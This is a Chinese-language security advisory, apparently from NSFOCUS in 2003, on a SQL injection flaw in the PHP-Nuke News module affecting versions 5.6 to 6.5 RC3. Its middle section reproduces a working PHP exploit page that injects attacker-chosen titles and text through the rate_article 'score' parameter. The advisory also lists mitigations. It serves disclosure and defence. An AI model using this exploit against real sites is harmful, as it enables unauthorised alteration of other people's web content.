首页 -> 安全研究

安全研究

安全漏洞
PHP-Nuke News模块index.php SQL注入漏洞

发布日期:2003-03-23
更新日期:2003-03-27

受影响系统:
Francisco Burzi PHP-Nuke 6.5 RC3
Francisco Burzi PHP-Nuke 6.5 RC2
Francisco Burzi PHP-Nuke 6.5 RC1
Francisco Burzi PHP-Nuke 6.5
Francisco Burzi PHP-Nuke 6.0
Francisco Burzi PHP-Nuke 5.6
描述:
BUGTRAQ  ID: 7173

PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke index.php脚本对用户提交的输入缺少正确验证,远程攻击者可以利用这个漏洞更改文章信息或者访问敏感数据。

PHP-Nuke中的News模块包含的index.php脚本对部分参数缺少正确检查,攻击者提交包含恶意SQL命令的字符串就可以修改原来的SQL逻辑,导致破坏数据库信息,修改原由的文章信息。

<*来源:Frog Man (leseulfrog@hotmail.com
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Frog Man (leseulfrog@hotmail.com)提供了如下测试方法:

<html>
<head>
<title>PHP-Nuke Change News</title>
</head>
<body>
<?
function ascii_phpnuke_exploit($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}

if (isset($submit)) {

$score="1";
if (isset($title)) {
$score.=", title=char(".ascii_phpnuke_exploit($title).")";
}
if (strlen($hometext)>1) {
$score.=", hometext=char(".ascii_phpnuke_exploit($hometext).")";
}
if (strlen($bodytext)>1){
$score.=", bodytext=char(".ascii_phpnuke_exploit($bodytext).")";
}
?>

<b>Target URL : </b><? echo $target; ?><br><br>
<b>SID : </b><? echo $sid; ?><br><br>
<b>New Title : </b><? echo $title; ?><br><br>
<b>New Story Text : </b><? echo $hometext; ?><br><br>
<b>New Extended Text : </b><? echo $bodytext; ?><br><br>


<form method="POST" action="<? echo $target; ?>/modules.php">
<input type="hidden" name="name" value="News">
<input type="hidden" name="op" value="rate_article">
<input type="hidden" name="sid" value="<? echo $sid; ?>">
<input type="hidden" name="score" value="<? echo $score; ?>">
<input type="submit" name="submit" value="Change the News">
</form>
<input type="submit" value="Back" onclick="history.go(-1)">

<?
}else{
?>

<form method="GET" action="<? echo $PHP_SELF; ?>">
Target URL : <input type="text" name="target"><br>
News SID : <input type="text" name="sid"><br><br>
<b>New Title :</b><br> <input type="text" name="title"><br>
<br><br><b>New Story Text :</b><br><textarea cols="50" rows="12"
name="hometext"></textarea>
<br><br><br><b>New Extended Text : </b><br><textarea cols="50" rows="12"
name="bodytext"></textarea><br><br>
<input type="submit" name="submit" value="Preview">
</form>

<?
}
?>

</body>
</html>

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* "Frog Man" <leseulfrog@hotmail.com>提供第三方补丁程序:

http://www.phpsecure.info.

* 设置php.ini文件选项,修改magic_quotes_gpc=on。

厂商补丁:

Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpnuke.org

浏览次数:4557
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障